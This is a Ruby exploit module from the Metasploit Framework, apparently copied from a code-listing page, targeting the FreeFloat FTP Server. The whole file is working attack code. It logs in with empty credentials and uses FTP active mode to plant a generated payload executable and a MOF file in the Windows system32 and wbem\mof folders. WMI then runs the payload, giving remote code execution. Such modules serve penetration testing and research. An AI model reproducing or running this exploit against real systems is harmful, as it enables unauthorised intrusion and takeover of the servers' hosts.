|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Ftp  include Msf::Exploit::Remote::TcpServer  include Msf::Exploit::EXE  include Msf::Exploit::WbemExec  include Msf::Exploit::FileDropper  def initialize(info={})  super(update_info(info,  'Name' => "FreeFloat FTP Server Arbitrary File Upload",  'Description'=> %q{  This module abuses multiple issues in FreeFloat: 1. No credential is actually  needed to login; 2. User's default path is in C:\, and this cannot be changed;  3. User can write to anywhere on the server's file system.As a result of these  poor implementations, a malicious user can just log in and then upload files,  and let WMI (Management Instrumentation service) to execute the payload uploaded.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'sinn3r', # Vulnerability discovery, Metasploit module  'juan vazquez' # Metasploit module  ],  'References' =>  [  ['URL', 'http://metasploit.com']  ],  'Platform' => 'win',  'Targets'=>  [  ['FreeFloat', {}]  ],  'Privileged' => true,  'DisclosureDate' => "Dec 7 2012",  'DefaultTarget'=> 0))  register_options(  [  # Change the default description so this option makes sense  OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])  ], self.class)  deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password  end  def check  connect  disconnect  if banner =~ /FreeFloat/  return Exploit::CheckCode::Vulnerable  else  return Exploit::CheckCode::Safe  end  end  def on_client_connect(cli)  peer = "#{cli.peerhost}:#{cli.peerport}"  case @stage  when :exe  print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")  cli.put(@exe)  @stage = :mof  when :mof  print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")  cli.put(@mof)  end  cli.close  end  def upload(filename)  select(nil, nil, nil, 1)  peer = "#{rhost}:#{rport}"  print_status("#{peer} - Trying to upload #{::File.basename(filename)}")  conn = connect(false, datastore['VERBOSE'])  print_status("#{peer} - Sending empty login...")  res = send_user("", conn)  if not res or res !~ /331/  print_error("#{peer} - Error sending username")  return false  end  res = send_pass("", conn)  if not res or res !~ /230/  print_error("#{peer} - Error sending password")  return false  end  print_good("#{peer} - Empty authentication was successful")  # Switch to binary mode  print_status("#{peer} - Set binary mode")  send_cmd(['TYPE', 'I'], true, conn)  # Prepare active mode: Get attacker's IP and source port  src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']  src_port = datastore['SRVPORT'].to_i  # Prepare active mode: Convert the IP and port for active mode  src_ip = src_ip.gsub(/\./, ',')  src_port = "#{src_port/256},#{src_port.remainder(256)}"  # Set to active mode  print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")  send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)  # Tell the FTP server to download our file  send_cmd(['STOR', filename], false, conn)  disconnect(conn)  end  def exploit  exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"  mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"  @mof= generate_mof(::File.basename(mof_name), ::File.basename(exe_name))  @exe= generate_payload_exe  @stage = :exe  begin  t = framework.threads.spawn("reqs", false) {  # Upload our malicious executable  u = upload(exe_name)  # Upload the mof file  upload(mof_name) if u  register_file_for_cleanup("#{::File.basename(exe_name)}")  register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")  }  super  ensure  t.kill  end  end end  |